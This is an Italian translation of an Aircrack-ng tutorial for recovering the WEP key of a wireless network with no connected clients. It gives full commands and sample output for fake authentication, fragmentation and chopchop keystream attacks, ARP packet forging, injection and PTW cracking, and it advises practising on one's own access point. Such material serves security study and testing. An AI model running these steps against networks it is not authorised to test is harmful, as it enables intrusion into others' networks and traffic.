Come craccare una rete wireless WEP senza client con Aircrack-NG (Linux)


Ed ecco a voi la terza traduzione dei tutorial di Aircrack-ng.

Le prime due (1 / 2 ) vi insegnavano le tecniche di base per craccare una rete wireless nello scenario in cui un client era connesso all’Access Point. In questa guida invece si supporrà che non ci sia nessuna macchina connessa all’AP di cui vogliamo ottenere la chiave wep.

‘Njoy Aircrack-NG!


LINK ORIGINALE

VIDEO 

 

  • Introduzione

Capita molte volte che ad un access point wireless non sia associato alcun client per cui non ci sono richieste ARP dal lato cablato. Questo tutorial descrive come craccare una chiave WEP quando non ci sono né client connessi né richieste ARP provenienti dal lato cablato.
Poiché questo argomento è stato descritto molte volte nel forum, questa guida ha come obiettivo quello di indirizzare e guidare l’utente con molti e dettagliati esempi pratici.

Se invece le richieste ARP vengono diffuse dal lato cablato allora potrebbe essere usata la tecnica della falsa autenticazione combinata con quella dell’ARP request.

Si raccomanda di sperimentare questa tecnica con l’Access Point di casa propria per prendere familiarità  con queste idee e con queste tecniche. Se non possiedi un tuo proprio access point chiedi il permesso al proprietario prima di effettuare un attacco.

Vorrei inoltre ringraziare il team di Aircrack-ng per aver prodotto una strumento così potente e robusto.

Per favore mandatemi dei feedback costruttivi, siano essi positivi o negativi. Idee addizionali per la risoluzione dei problemi sono particolarmente gradite.

  • Premesse

Innanzi tutto questo tipo di procedura richiede che:

*
Voi stiate utilizzando dei driver della scheda wireless patchati per l’injection. Utilizzate l’injection test per avere conferma che la vostra scheda possa iniettare pacchetti prima di procedere.

*
Voi siate abbastanza vicini fisicamente all’access point per ricevere e spedire pacchetti. Ricordate che il fatto che possiate ricevere pacchetti dall’access point non significa necessariamente che ne possiate trasmettere. La potenza della scheda wireless è solitamente minore di quella dell’AP.
Quindi dovete essere sufficentemente vicino all’AP per fare in modo che i pacchetti da voi trasmessi possano raggiungerlo. Dovreste avere conferma che puoi comunicare con l’AP specifico seguendo queste istruzioni (Hidden or Specific SSID).

*
Ci siano alcuni pacchetti di dati che provengono dall’access point. I beacons sono totalmente inutili per gli obiettivi che si pone questa guida. Un modo veloce per controllare che questi pacchetti siano presenti è quello di eseguire airodump-ng e vedere se vengono conteggiati pacchetti di dati provenienti dall’AP. Detto questo, ricordate che potete utilizzare pacchetti di dati che avete catturato anche in altre sessioni. Questo però è un argomento avanzato che non verrà trattato all’interno di questa guida.

*
L’access point cifra il flusso di comunicazioni con un algoritmo WEP "open authentication". Non funzionerà  se viene utilizzata una "shared key authentication" (SKA). Con la SKA, l’unica possibilità  per craccare la chiave wep senza che siano collegati client all’AP è quello di catturare un pacchetto PRGA xor con un handshake di airodump-ng oppure con un precedente attacco di aireplay-ng. Questo perché avete bisogno di un pacchetto PRGA xor per fare un’autenticazione fasulla sull’access point.

*
Voi stiate utilizzando l’indirizzo fisico originale della vostra scheda wireless. Non usate altri indirizzi per trasmettere i pacchetti altrimenti alcuni comandi non funzioneranno correttamente. Guardate la sezione "Utilizzare un altro indirizzo MAC" per istruzioni sull’utilizzo di un altro indirizzo MAC.

*
Voi stiate utilizzando aircrack-ng 0.9. Altre versioni potrebbero utilizzare comandi differenti.

Assicuratevi di verificare tutte queste premesse, altrimenti le istruzioni che seguono non funzioneranno. Nell’esempio che propongo dovrete cambiare "ath0" con il nome dell’interfaccia della vostra scheda wireless ( potrebbe essere wlan0 o eth0 o altro ).

Negli esempi l’opzione " doppio trattino bssid" è riportata come " – -bssid". Ricordatevi di rimuovere lo spazio tra i due trattini quando utilizzate il comando. Questo vale anche per "- -ivs".

  • Equipaggiamento utilizzato


In questo tutorial sono stati utilizzati:
*
L’indirizzo MAC della scheda wireless che sta eseguendo aircrack-ng: 00:09:5B:EC:EE:F2

*
BSSID ( ovvero l’indirizzo MAC dell’access point che si sta attaccando ): 00:14:6C:7E:40:80

*
ESSID ( ovvero il nome della rete wireless che state attaccando ): teddy

*
Il canale dell’access point (esempio: 9)

*
L’interfaccia wireless (esempio: ath0)

Dovreste riuscire ad ottenere le stesse informazioni per la rete wireless che volete attaccare. Dovrete cambiare i parametri specificati qua sopra con quelli specifici.

  • Procedura

Scenario della procedura

Questo è l’indice dei passi che seguiremo.

*
1-Configurare il MAC della scheda wireless
*
2-Attivare l’interfaccia wireless in modalità monitor ( monitor mode ) sul canale specifico dell’AP.
*
3-Utilizzare aireplay-ng per fare un autenticazione falsa sull’Access Point
*
4-Utilizzare un attacco chopchop o a frammentazione per ottenere un PRGA
*
5-Utilizzare packetforge ng per creare un pacchetto ARP grazie al PRGA ottenuto nel passo precedente
*
6-Attivare airodump-ng filtrando il bssdid dell’ap selezionato per collezionare pacchetti IVS
*
7-Iniettare il pacchetto ARP creato nel passo 5
*
8-Eseguire aircrack-ng per craccare la password WEP con gli IVS appena catturati

Passo 1 – Configurare il MAC della scheda wireless
Ad essere onesti, non cambieremo il mac della scheda wireless.

Questo è un promemoria per utilizzare l’indirizzo MAC della vostra scheda wireless come indirizzo MAC originale. Lo citiamo esplicitamente come invito ad utilizzare l’effettivo indirizzo MAC della vostra scheda nel “Passo 3 – autenticazione falsa" se state riutilizzando dati di un’altra sessione. Istruzioni dettagliate si possono trovare nella FAQ: How do I change my card’s MAC address ?.


Passo 2 – Inizializzare la scheda wireless in modalità monitor ( monitor mode )
Digitate il seguente comando nella vostra shell per configurare la vostra scheda wireless in modalità  monitor

airmon-ng start wifi0 9

Il sistema vi risponderà 

Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

Questo vi segnala che la vostra scheda wireless è stata messa in modalità  monitor.
Per avere la conferma che la scheda è configurata correttamente digitate "iwconfig".
Il sistema vi risponderà :

lo no wireless extensions.
eth0 no wireless extensions.
wifi0 no wireless extensions.
ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.452 GHz Access Point: 00:09:5B:EC:EE:F2
Bit Rate:0 kb/s Tx-Power:15 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-98 dBm Noise level=-98 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Potete quindi vedere che ath0 è in modalità  monitor sulla frequenza 2.452 GHz il cui canale é il 9 e l’Access Point mostra il MAC della vostra scheda. Quindi tutto funziona. È importante avere conferma di tutti questi dati prima di procedere, altrimenti le istruzioni che seguono non funzioneranno.
Per far corrispondere la frequenza al canale date un occhio a http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels e selezionate il pulsante "Wifi Channel Selection and Channel Overlap". Questo vi darà  la frequenza di ogni singolo canale.

*
Se oltre a ath0 un’altra interfaccia è attiva allora prima di tutto disattivatele tutte utilizzando il comando "airmon-ng stop athX, dove x rappresenta qualsiasi interfaccia tu voglia fermare.

Passo 3 – Utilizzate aireplay-ng per effettuare un autenticazione falsa sull’access point

Questo è un passaggio molto importante.
Per fare in modo che un Access Point accetti un pacchetto è necessario che il MAC che lo trasmette sia già  associato. Se questo non si verifica allora l’AP ignora i pacchetti e spedisce un "DeAuthentication packet" ( pacchetto di deautenticazione ). In questo stato di cose non viene creato alcun IVS perché l’access point sta ignorando completamente i pacchetti autenticati.

La mancanza di associazione con l’access point è da sola la ragione principale del perché l’iniezione fallisca.

Per associarsi ad un AP è necessario utilizzare il comando fake autentication

aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Dove:

*
-1 significa fake authentication
*
0 tempo di riassociazione in secondi
*
-e teddy é il nome della rete wireless
*
-a 00:14:6C:7E:40:80 é l’indirzzo MAC dell’access point
*
-h 00:09:5B:EC:EE:F2 é il MAC della nostra scheda wireless
*
ath0 é il nome dell’interfaccia wireless

Se avrete successo il sistema vi risponderà :

18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful 🙂

O un altra variante per Access Point ostici é:

aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Dove:

*
6000 – Riautenticazione ogni 6000 secondi. Il lungo intervallo fa anche in modo che si continui ad inviare pacchetti senza doversi riassociare.
*
-o 1 – Invia un solo seti di pacchetti alla volta. Di default se ne inviano di multipli e questo confonde alcuni AP.
*
-q 10 – Manda alive packet ogni 10 secondi.

Se avrete successo il sistema vi risponderà :

18:22:32 Sending Authentication Request
18:22:32 Authentication successful
18:22:32 Sending Association Request
18:22:32 Association successful 🙂
18:22:42 Sending keep-alive packet
18:22:52 Sending keep-alive packet
# e così via.

Questo invece é un esempio di come appare un’ autenticazione fallita:

8:28:02 Sending Authentication Request
18:28:02 Authentication successful
18:28:02 Sending Association Request
18:28:02 Association successful 🙂
18:28:02 Got a deauthentication packet!
18:28:05 Sending Authentication Request
18:28:05 Authentication successful
18:28:05 Sending Association Request
18:28:10 Sending Authentication Request
18:28:10 Authentication successful
18:28:10 Sending Association Request

Vi viene notificato un "pacchetto di deautenticazione" ed i tentativi di autenticazione ricominciano. Non procedete con il prossimo passo finché non siete riusciti ad eseguire correttamente un’autenticazione falsa.

Troubleshooting Tips

*
Alcuni Access Point sono configurati in modo tale da permettere l’associazione e la connessione solo ad alcuni indirizzi MAC. Se questo é il vostro caso non potrete ottenere un’ autenticazione falsa fino a che non conoscerete almeno uno degli indirizzi MAC autorizzati. Consultate la voce nella risoluzione dei problemi riguardante il controllo degli accessi MAC qui.

*
In qualsiasi momento potete sapere se siete correttamente associati all’AP, utilizzando tcpdump e guardando dentro i pacchetti. Aprite un’altra shell e digitate:

tcpdump -n -e -s0 -vvv -i ath0

Questo é un tipico messaggio di errore di tcpdump che può riguardarvi:

11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:09:5B:EC:EE:F2 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station

Vi viene notificato che l’access point sta dicendo alla vostra scheda wireless che non siete associati. Questo significa che l’AP non accetterà  o non prenderà  in considerazione i pacchetti iniettati.

Se con tcpdump volete selezionare semplicemente i pacchetti di deautenticazione allora dovete digitare nella shell: "tcpdump -n -e -s0 -vvv -i ath0 | grep -i DeAuth". Potreste modificare la frase "DeAuth" per prelevare esattamente i pacchetti che volete.

Passo 4 – Utilizzare o l’attacco aireplay-ng chopcop o a frammentazione per ottenere il PRGA

L’obiettivo di questi due diversi tipi di attacco ( chopchop e a frammentazione ) é quello di ottenere un pacchetto PRGA (pseudo random genration algorithm). Questo PRGA non é la chiave WEP e non serve per decifrare i pacchetti. Può comunque essere utilizzato per creare nuovi pacchetti ARP da iniettare. La creazione di questi pacchetti ARP verrà  trattata più avanti in questo tutorial.

Sia l’attacco chopchop sia quello a frammentazione possono ottenere il PRGA. Il risultato finale é identico quindi utilizzate quello che funziona sull’AP che state attaccando. I pro ed i contro di questi due differenti attacchi sono elencati nella pagina di aircrack-ng.

Parleremo prima dell’attacco a frammentazione. Digitate in una shell il seguente comando:

aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Dove:

*
-5 é l’opzione dell’attacco a frammentazione
*
-b 00:14:6C:7E:40:80 è l’indirizzo MAC dell’AP
*
-h 00:09:5B:EC:EE:F2 é l’indirizzo MAC della nostra scheda wireless e deve corrispondere con quello utilizzato nella fake auth.
*
ath0 é il nome dell’interfaccia wireless

Il sistema risponderà :

aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
Waiting for a data packet…
Read 127 packets…
Size: 114, FromDS: 1, ToDS: 0 (WEP)
BSSID = 00:14:6C:7E:40:80
Dest. MAC = 01:00:5E:00:00:FB
Source MAC = 00:40:F4:77:E5:C9
0x0000: 0842 0000 0100 5e00 00fb 0014 6c7e 4080 .B….^…..l~@.
0x0010: 0040 f477 e5c9 6052 8c00 0000 3073 d265 .@.w..`R….0s.e
0x0020: c402 790b 2293 c7d5 89c5 4136 7283 29df ..y."…..A6r.).
0x0030: 4e9e 5e13 5f43 4ff5 1b37 3ff9 4da4 c03b N.^._CO..7?.M..;
0x0040: 8244 5882 d5cc 7a1f 2b9b 3ef0 ee0f 4fb5 .DX…z.+.>…O.
0x0050: 4563 906d 0d90 88c4 5532 a602 a8ea f8e2 Ec.m….U2……
0x0060: c531 e214 2b28 fc19 b9a8 226d 9c71 6ab1 .1..+(…."m.qj.
0x0070: 9c9f ..
Use this packet ? y

Quando un pacchetto arriva dall’access point, digitate "y" per procedere. Potreste aver bisogno di provare per un pò di tempo prima di avere successo.

Quando ce l’avrete fatto il sistema vi risponderà :

Saving chosen packet in replay_src-0203-180328.cap
Data packet found!
Sending fragmented packet
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 384 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 1500 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Saving keystream in fragment-0203-180343.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

Successo!Daje! Il file "fragment-0203-180343.xor" può essere utilizzato nel prossimo passo per generare il pacchetto ARP da iniettare.

Se l’attacco a frammentazione non ha successo potete utilizzare quello chopchop. Digitate:

aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0

Dove:

*
-4 é l’attacco chopchop
*
-h 00:09:5B:EC:EE:F2 é l’indirizzo MAC della nostra scheda e deve corrispondere con quello utilizzato nella fase di fake auth
*
-b 00:14:6C:7E:40:80 é l’indirizzo MAC dell’ Access Point
*
ath0 é il nome dell’interfacci wireless

Il sistema risponderà :

Read 165 packets…

Size: 86, FromDS: 1, ToDS: 0 (WEP)
BSSID = 00:14:6C:7E:40:80
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:40:F4:77:E5:C9
0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B……….l~@.
0x0010: 0040 f477 e5c9 603a d600 0000 5fed a222 .@.w..`:…._.."
0x0020: e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543 …H……._=..C
0x0030: d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873 ….j…..%.[.(s
0x0040: 16d4 43fb aebb 3ea1 7101 729e 65ca 6905 ..C…>.q.r.e.i.
0x0050: cfeb 4a72 be46 ..Jr.F

Use this packet ? y

Digitate "y" ed il sistema continuerà :

Saving chosen packet in replay_src-0201-191639.cap
Offset 85 ( 0% done) | xor = D3 | pt = 95 | 253 frames written in 760ms
Offset 84 ( 1% done) | xor = EB | pt = 55 | 166 frames written in 498ms
Offset 83 ( 3% done) | xor = 47 | pt = 35 | 215 frames written in 645ms
Offset 82 ( 5% done) | xor = 07 | pt = 4D | 161 frames written in 483ms
Offset 81 ( 7% done) | xor = EB | pt = 00 | 12 frames written in 36ms
Offset 80 ( 9% done) | xor = CF | pt = 00 | 152 frames written in 456ms
Offset 79 (11% done) | xor = 05 | pt = 00 | 29 frames written in 87ms
Offset 78 (13% done) | xor = 69 | pt = 00 | 151 frames written in 454ms
Offset 77 (15% done) | xor = CA | pt = 00 | 24 frames written in 71ms
Offset 76 (17% done) | xor = 65 | pt = 00 | 129 frames written in 387ms
Offset 75 (19% done) | xor = 9E | pt = 00 | 36 frames written in 108ms
Offset 74 (21% done) | xor = 72 | pt = 00 | 39 frames written in 117ms
Offset 73 (23% done) | xor = 01 | pt = 00 | 146 frames written in 438ms
Offset 72 (25% done) | xor = 71 | pt = 00 | 83 frames written in 249ms
Offset 71 (26% done) | xor = A1 | pt = 00 | 43 frames written in 129ms
Offset 70 (28% done) | xor = 3E | pt = 00 | 98 frames written in 294ms
Offset 69 (30% done) | xor = BB | pt = 00 | 129 frames written in 387ms
Offset 68 (32% done) | xor = AE | pt = 00 | 248 frames written in 744ms
Offset 67 (34% done) | xor = FB | pt = 00 | 105 frames written in 315ms
Offset 66 (36% done) | xor = 43 | pt = 00 | 101 frames written in 303ms
Offset 65 (38% done) | xor = D4 | pt = 00 | 158 frames written in 474ms
Offset 64 (40% done) | xor = 16 | pt = 00 | 197 frames written in 591ms
Offset 63 (42% done) | xor = 7F | pt = 0C | 72 frames written in 217ms
Offset 62 (44% done) | xor = 1F | pt = 37 | 166 frames written in 497ms
Offset 61 (46% done) | xor = 5C | pt = A8 | 119 frames written in 357ms
Offset 60 (48% done) | xor = 9B | pt = C0 | 229 frames written in 687ms
Offset 59 (50% done) | xor = 91 | pt = 00 | 113 frames written in 339ms
Offset 58 (51% done) | xor = 25 | pt = 00 | 184 frames written in 552ms
Offset 57 (53% done) | xor = 94 | pt = 00 | 33 frames written in 99ms
Offset 56 (55% done) | xor = F3 | pt = 00 | 193 frames written in 579ms
Offset 55 (57% done) | xor = D6 | pt = 00 | 17 frames written in 51ms
Offset 54 (59% done) | xor = FA | pt = 00 | 81 frames written in 243ms
Offset 53 (61% done) | xor = EA | pt = 01 | 95 frames written in 285ms
Offset 52 (63% done) | xor = 5D | pt = 37 | 24 frames written in 72ms
Offset 51 (65% done) | xor = 33 | pt = A8 | 20 frames written in 59ms
Offset 50 (67% done) | xor = CC | pt = C0 | 97 frames written in 291ms
Offset 49 (69% done) | xor = 03 | pt = C9 | 188 frames written in 566ms
Offset 48 (71% done) | xor = 34 | pt = E5 | 48 frames written in 142ms
Offset 47 (73% done) | xor = 34 | pt = 77 | 64 frames written in 192ms
Offset 46 (75% done) | xor = 51 | pt = F4 | 253 frames written in 759ms
Offset 45 (76% done) | xor = 98 | pt = 40 | 109 frames written in 327ms
Offset 44 (78% done) | xor = 3D | pt = 00 | 242 frames written in 726ms
Offset 43 (80% done) | xor = 5E | pt = 01 | 194 frames written in 583ms
Offset 42 (82% done) | xor = AF | pt = 00 | 99 frames written in 296ms
Offset 41 (84% done) | xor = C4 | pt = 04 | 164 frames written in 492ms
Offset 40 (86% done) | xor = CE | pt = 06 | 69 frames written in 207ms
Offset 39 (88% done) | xor = 9D | pt = 00 | 137 frames written in 411ms
Offset 38 (90% done) | xor = FD | pt = 08 | 229 frames written in 688ms
Offset 37 (92% done) | xor = 13 | pt = 01 | 232 frames written in 695ms
Offset 36 (94% done) | xor = 83 | pt = 00 | 19 frames written in 58ms
Offset 35 (96% done) | xor = 4E | pt = 06 | 230 frames written in 689ms
Sent 957 packets, current guess: B9…
The AP appears to drop packets shorter than 35 bytes.
Enabling standard workaround: ARP header re-creation.
Saving plaintext in replay_dec-0201-191706.cap
Saving keystream in replay_dec-0201-191706.xor
Completed in 21s (2.29 bytes/s)

Alé! Il file "replay_dec-0201-191706.xor" può essere utilizzato per generare un pacchetto ARP nel prossimo passo.

Trucchetti utili

*
Siate sicuri che il pacchetto sia più grande di 68 bytes altrimenti potreste non avere abbastanza dati PRGA per poi generare il pacchetto. Il PRGA catturato deve avere una lunghezza più grande o uguale del pacchetto che vogliamo generare.
*
A casa, per generare alcuni pacchetti per forzare l’attacco chopcop ad avviarsi, pingate degli ip non esistenti sul network utilizzando un client cablato. Questo forza un ARP ad essere diffuso ed apparirà in chopchop pronto per essere utilizzato.
*
Potete controllare il pacchetto crittato scrivendo in una shell: "tcpdump -n -vvv -e -s0 -r replay_dec-0201-191706.cap". Nel nostro esempio di sopra:

reading from file replay_dec-0201-191706.cap, link-type IEEE802_11 (802.11) 19:17:06.842866 0us DA:Broadcast BSSID:00:14:6c:7e:40:80 SA:00:40:f4:77:e5:c9 LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000), ethertype ARP (0x0806): arp who-has 192.168.1.12 tell 192.168.1.1

*
Se accade qualcosa con chopchop, potete riutilizzare il pacchetto source inserendo "aireplay-ng -4 ath0 -h 00:09:5B:EC:EE:F2 -r replay_src-0201-191639.cap". Il file source di replay viene notificato all’avvio di chopchop.
*
Utilizzando il trucco precedente, se avete un file catturato in un altra sezione potete utilizzarlo per effettuare l’attacco digitando "aireplay-ng -4 ath0 -h 00:09:5B:EC:EE:F2 -r capture-from-some-other-time.cap"

Trucchi troubleshooting

*
Se il primo pacchetto che avete selezionato non funziona, provate con altri. A volte ci vuole più di un tentativo per avere successo con l’attacco.
*
L’attacco chopchop fallisce su alcuni access point. Se questo succede utilizzate quello a frammentazione. E vicecersa.
*
Siate certi di essere associati in modo corretto. Per controllare che sia così utilizzate il comando tcpdump come indicato nel passo 2.

Passo 5 – Usare packetforge-ng per creare un pacchetto ARP

Nello step precedente abbiamo ottenuto il PRGA. Non è importante quale attacco abbia generato il PRGA, entrambi sono ugualmente validi. Questo PRGA é immagazzinato nel file che ha come estensione .xor. Possiamo utilizzare questo PRGA per generare un pacchetto da iniettare. L’obiettivo é quello di avere delle risposte dall’Access Point. Nel momento in cui avremo queste risposte viene ottenuto un nuovo IV. Questi IV verranno utilizzati infine per craccare la chiave WEP.

Ma prima generiamo il pacchetto ARP per l’iniezione digitando:

packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -k 255.255.255.255 -l 255.255.255.255 -y fragment-0203-180343.xor -w arp-request

Dove:

*
-0 significa " genera il pacchetto ARP "
*
-a 00:14:6C:7E:40:80 é l’indirizzo MAC dell’ Access Point
*
-h 00:09:5B:EC:EE:F2 é l’indirizzo MAC della nostra scheda
*
-k 255.255.255.255 é l’ip di destinazione (la maggior parte degli AP rispondono a 255.255.255.255)
*
-l 255.255.255.255.255 é l’ip di partenza (la maggior parte degli AP rispondono a 255.255.255.255)
*
-y fragment-0203-180343.xor é il file cui leggere il PRGA
*
-w arp-request é il nome del file in cui verrà  scritto il pacchetto ARP

Il sistema risponderà :

Wrote packet to: arp-request

Trucchetti utili


*
Dopo aver creato il pacchetto usate tcpdump per vedere se é adatto al nostro scopo e se tutti i parametri sono a posto.. Guardate sotto. Sembra apposto!

tcpdump -n -vvv -e -s0 -r arp-request

reading from file arp-request, link-type IEEE802_11 (802.11)
10:49:17.456350 WEP Encrypted 258us BSSID:00:14:6c:7e:40:80 SA:00:09:5b:ec:ee:f2 DA:Broadcast Data IV: 8f Pad 0 KeyID 0

Dato che state effettuando un test contro il vostro AP (giusto?), decrittate il pacchetto ed assicuratevi che sia corretto. Questi passaggi non sono essenziali, servono unicamente per controllare di aver generato il pacchetto corretto.

Decifrate il pacchetto:

airdecap-ng -e teddy -w <put your WEP key here> arp-request

Guardate il pacchetto decrittato:

tcpdump -n -r arp-request-dec

Dovrebbe essere qualcosa di questo tipo:

reading from file arp-request-dec, link-type EN10MB (Ethernet)
10:49:17.456350 arp who-has 255.255.255.255 tell 255.255.255.255

Passo 6 – Eseguite airodump-ng

Aprite un’ altra shell per catturare gli IVs generati. Digitate:

airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w capture ath0

Where:

*
-c 9 é il canale della rete wireless che state attaccando
*
– -bssid 00:14:6C:7E:40:80 é l’indirizzo MAC dell’AP che state attaccando. In questo modo eliminate traffico che non vi interessa.
*
– -ivs specifica che volete catturare solo gli IVs. In questo modo il file catturato é più piccolo. Non usate questa opzione quando utilizzate l’attacco aircrack-ptw con l’opzione "aircrack-ng -z"
*
-w é il file che conterrà  gli IVs catturati.
*
ath0 é il nome dell’interfaccia wireless.

Passo 7 – Iniettate il pacchetto ARP

Utilizzando la shell in cui avevate gnerato il pacchetto ARP, digitate:

aireplay-ng -2 -r arp-request ath0

Dove:

*
-2 é l’opzione che indica la selezione interattiva del frame
*
-r definisce il nome del file in cui si trova il pacchetto arp da iniettare.
*
ath0 definisce l’interfaccia da usare

Il sistema risponderà :

Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:14:6C:7E:40:80
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:09:5B:EC:EE:F2
0x0000: 0841 0201 0014 6c7e 4080 0009 5bec eef2 .A….l~@…[…
0x0010: ffff ffff ffff 8001 8f00 0000 7af3 8be4 …………z…
0x0020: c587 b696 9bf0 c30d 9cd9 c871 0f5a 38c5 ………..q.Z8.
0x0030: f286 fdb3 55ee 113e da14 fb19 17cc 0b5e ….U..>…….^
0x0040: 6ada 92f2 j…
Use this packet ? y

Digitate "y" per utilizzare questo pacchetto. Il sistema risponderà  mostrando quanti pacchetti sta iniettando e ricordandovi di eseguire airodump nel caso non l’aveste già  fatto.

Saving chosen packet in replay_src-0204-104917.cap
You should also start airodump-ng to capture replies.
End of file.

Se l’operazione é andata a buon fine, la shell di airodump-ng sarà  simile a questa:

CH 9 ][ Elapsed: 16 s ][ 2007-02-04 11:04
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 47 100 179 2689 336 9 11 WEP WEP teddy
BSSID STATION PWR Lost Packets Probes
00:14:6C:7E:40:80 00:09:5B:EC:EE:F2 29 0 2707

Solo un access point appare poiché abbiamo incluso nel comando di airodump l’opzione per cui il traffico venisse filtrato e venisse catturato solo quello corrispondente al BSSID indicato. Notate anche che il numero dei pacchetti della stazione equivalgono grossomodo a quelli dei dati BSSID. Questo significa che l’injection funziona bene. Viene notificato anche che il numero di pacchetti trasmessi al secondo é di 336 ed anche questo é un indicatore del buon funzionamento dell’injecton. Questo é un ottimo scenario per l’iniezione di pacchetti.

 

Trucchi troubleshooting

*
Se i pacchetti di dati del BSSID non crescono, cercate di essere certi di essere ancora associati con l’AP seguendo le istruzioni relative all’uso di tcpdump del passo 2.

Passo 8 – Utilizzate aircrck-ng per ottenere la chiave wep

Aprite un’ altra shell e digitate:

aircrack-ng -z -b 00:14:6C:7E:40:80 capture*.cap

Dove:

*
-z é l’opzione per l’attacco PTW.
*
capture*.cap selezione il file dove sono contenuti gli IVs
*
-b 00:14:6C:7E:40:80 selezione l’indirizzo MAC dell’ap a cui siete interessati.

Potete eseguire questo comando mentre state generando i pacchetti. In breve tempo la chiave Wep verrà  calcolata e mostrata. Utilizzando l’attacco PTW una chiave WEP a 40bit può essere craccata con poco meno di 20.000 pacchetti di dati e una chiave a 104 bit con 40.000. Ricordatevi che l’attacco PTW funziona solo con pacchetti ARP. Dato che questa guida copre l’iniezione di pacchetti di richiesta arp, potete utilizzare appropriatamente questo metodo. L’altro requisito è che voi catturiate l’intero pacchetto con airodump-ng. Cioè, senza utilizzare l’opzione "–ivs" .

Se non usate l’opzione -z allora state utilizzando il metodo FMS/Korek. Avrete bisogno in modo approssimativo di circa 250.000 Ivs per una chiave a 64 bit e di 1.500.000 per una chiave a 128 bit. Queste sono comunque cifre approssimative e ci sono molte variabili a proposito della quantità di IVs di cui potreste aver bisogno per craccare la chiave WEP.

Trucchi trobleshooting

*
A volte avete bisogno di provare differenti tecniche per craccare la chiave WEP. Utilizzate l’opzione "-n" per selezionare una possibile lunghezza della chiave. Usate "-f"e provate diversi fattori di ridondanza. Usate "-k" e provate a disablitare i vari metodi Korek.

  • Soluzione alternativa


Questo è un bel trucco che semplifica il craccaggio della Wep qual’ora non fossero presenti dei client. Essenzialmente prende ogni pacchetto trasmesso dall’AP e lo converte in un pacchetto da trasmettere al AP per generare nuovi IVs.

È importante comprendere che se usate questo trucco allora dovete utilizzare l’opzione -z ( ovvero il metodo di attacco PTW). Questo perché l’attacco PTW richiede richiede l’uso di richieste ARP e questo trucco non le genera.

Ok, a questo punto vi chiederete: "Ah ci.. ma che non ce la potevate far vedere subito questa tecnica?". La ragione é che questa tecnica ritrasmette qualsiasi pacchetto riceviate. Quindi se avete ricevuto un pacchetto di 1000 byte ne vengono ritrasmessi 1000. Questo potenzialmente diminusice la velocità  di trasmissione di paccheti data per secondo in modo considerevole. In ogni caso é una tecnica semplice e facile da utilizzare. Dovrete inoltre essere fortunati e ricevere un pacchetto molto piccolo da ritrasmettere. In questo caso la tecnica é performante ed efficente tanto quanto la soluzione proposta precedentemente.

Le raccomandazioni proposte precedentemente sono valide anche in questo caso per far si che venga ottenuta un autenticazione falsa.

Digitate il seguente comando.

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Dove:

*
-2 sta per la selezione interattiva del frame
*
-p 0841 configura il Frame Control Field in modo da far sembrare che il pacchetto stia venendo inviato da un client wireless.
*
c FF:FF:FF:FF:FF:FF configura l’indirizzo MAC di destinazione come un trasmettitore. Ciò viene richiesto per fare in modo che l’AP replichi il pacchetto, quindi ottenendo il nuovo IV.
*
-b 00:14:6C:7E:40:80 é l’indirizzo MAC dell’AP
*
-h 00:09:5B:EC:EE:F2 é l’indirizzo MAC della vostra scheda e deve essere quello che avete utilizato nella fase di fake authentication
*
ath0 definisce l’interfaccia da utilizzare

Il sistema risponderà :

Read 698 packets…
Size: 86, FromDS: 1, ToDS: 0 (WEP)
BSSID = 00:14:6C:7E:40:80
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:D0:CF:03:34:8C

0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B……….l~@.
0x0010: 00d0 cf03 348c a0f4 2000 0000 e233 962a ….4… ….3.*
0x0020: 90b5 fe67 41e0 9dd5 7271 b8ed ed23 8eda …gA…rq…#..
0x0030: ef55 d7b0 a56f bc16 355f 8986 a7ab d495 .U…o..5_……
0x0040: 1daa a308 6a70 4465 9fa6 5467 d588 c10c ….jpDe..Tg….
0x0050: f043 09f6 5418 .C..T.
Use this packet ? y

Digitate "y" per selezionare il pacchetto e cominciare ad iniettarlo. Ricordate: più piccolo é il pacchetto e meglio é per voi. Quindi cominciate ad iniettare.

Saving chosen packet in replay_src-0411-145110.cap
Sent 10204 packets…(455 pps)

Se non avete ancora fatto partire airodump-ng siate certi di averlo fatto ora. Una volta che avete sufficenti IVs potete far partire aircrack.ng per ottenere la chiave WEP.

